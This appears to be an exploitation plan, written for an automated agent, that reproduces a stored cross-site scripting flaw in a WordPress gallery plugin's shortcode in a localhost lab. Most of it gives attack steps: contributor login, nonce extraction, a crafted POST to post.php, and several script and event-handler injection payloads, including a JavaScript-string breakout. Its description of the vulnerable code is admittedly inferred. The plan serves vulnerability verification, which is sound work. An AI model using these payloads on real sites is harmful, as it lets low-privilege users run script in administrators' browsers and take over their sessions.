Album and Image Gallery Plus Lightbox <= 2.1.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Plugin's Shortcode

This research plan outlines the steps required to demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the Album and Image Gallery Plus Lightbox plugin (version <= 2.1.7) via the aigpl-gallery-album shortcode.

---

1. Vulnerability Summary

The vulnerability exists because the plugin registers a shortcode aigpl-gallery-album and fails to sanitize or escape user-supplied attributes before outputting them into the HTML of a page. An authenticated user with "Contributor" permissions (or higher) can create a post containing this shortcode with a malicious payload in one of its attributes. When any user (including an Administrator) views that post, the script will execute in their browser context.

2. Attack Vector Analysis

• Shortcode: [aigpl-gallery-album]
• Vulnerable Attributes (Inferred): extra_class, id, grid, title.
• Authentication Level: Contributor or above (users who can use the WordPress post editor).
• Endpoint: wp-admin/post.php (for saving the post) and the frontend post URL (for triggering).
• Preconditions: The plugin must be active.

3. Code Flow (Inferred)

1. Registration: The plugin registers the shortcode in a main class or initialization file (e.g., includes/class-aigpl-shortcode.php or includes/shortcode/aigpl-gallery-album.php) using add_shortcode( 'aigpl-gallery-album', 'callback_function' ).
2. Input Handling: The callback function receives an $atts array. It likely uses shortcode_atts() to define defaults but does not validate the values.
3. Output Generation: The function constructs an HTML string (e.g., a <div> wrapper for the gallery). It concatenates attributes like extra_class directly into the HTML string without using esc_attr().
4. Sink: The HTML string is returned and echoed by WordPress during the the_content filter execution.

4. Nonce Acquisition Strategy

While shortcode execution on the frontend does not require a nonce, saving the post that contains the shortcode requires a standard WordPress post nonce (_wpnonce).

For the Automated Agent:

1. Login: Use the browser_navigate tool to log in as a Contributor.
2. Extract Nonce:
   • Navigate to wp-admin/post-new.php.
   • Use browser_eval to extract the _wpnonce from the form:
     browser_eval("document.querySelector('#_wpnonce').value")
3. Post ID: Also extract the post_ID (if it's an auto-draft) or let WordPress generate a new one via a POST request.

5. Exploitation Strategy

The goal is to inject a script that executes when the post is viewed.

Step-by-Step Plan:

1. Preparation: Authenticate as a Contributor.
2. Discovery: Identify the vulnerable attribute by testing common shortcode parameters for this plugin.
   • Primary target: extra_class.
   • Payload: "><script>alert(document.domain)</script>
3. Submission: Send a POST request to wp-admin/post.php to save a new post containing the malicious shortcode.
   • URL: http://localhost:8080/wp-admin/post.php
   • Method: POST
   • Content-Type: application/x-www-form-urlencoded
   • Parameters:
     • post_title: XSS Test
     • content: [aigpl-gallery-album extra_class='"><script>alert(window.origin)</script>']
     • publish: Publish (Note: Contributors' posts go to 'Pending Review', which is still viewable via preview).
     • _wpnonce: [EXTRACTED_NONCE]
     • action: editpost
     • post_ID: [POST_ID]
4. Trigger: Access the URL of the created post (or the preview URL provided in the response).
5. Execution: Use the browser_navigate tool to visit the post and check for an alert or a specific DOM change.

6. Test Data Setup

1. Plugin: Ensure album-and-image-gallery-plus-lightbox version 2.1.7 is installed and activated.
2. User: A user with the contributor role (e.g., contributor / password).
3. Content: No specific existing content is required, as the attacker creates a new post.

7. Expected Results

• The POST request to save the post should return a 302 Redirect.
• When navigating to the post URL, the HTML source should contain:
  <div class="... "><script>alert(window.origin)</script>"> ...
• The browser should execute the alert() call.

8. Verification Steps

1. Database Check: Use WP-CLI to confirm the payload is stored in the wp_posts table:
   wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test'"
2. HTML Inspection: Use the http_request tool to fetch the post content and search for the unescaped payload:
   http_request(url='http://localhost:8080/?p=[ID]')
   Verify the presence of the raw <script> tag within the shortcode's output.

9. Alternative Approaches

If extra_class is not vulnerable, try the following attributes:

• grid: [aigpl-gallery-album grid='"><img src=x onerror=alert(1)>']
• id: [aigpl-gallery-album id='1337" onmouseover="alert(1)"']
• link_target: [aigpl-gallery-album link_target='_blank" onfocus="alert(1)" autofocus="']

If the payload is reflected inside a JavaScript block (localization), try breaking out of the JS string:

• [aigpl-gallery-album extra_class="';alert(1);//"]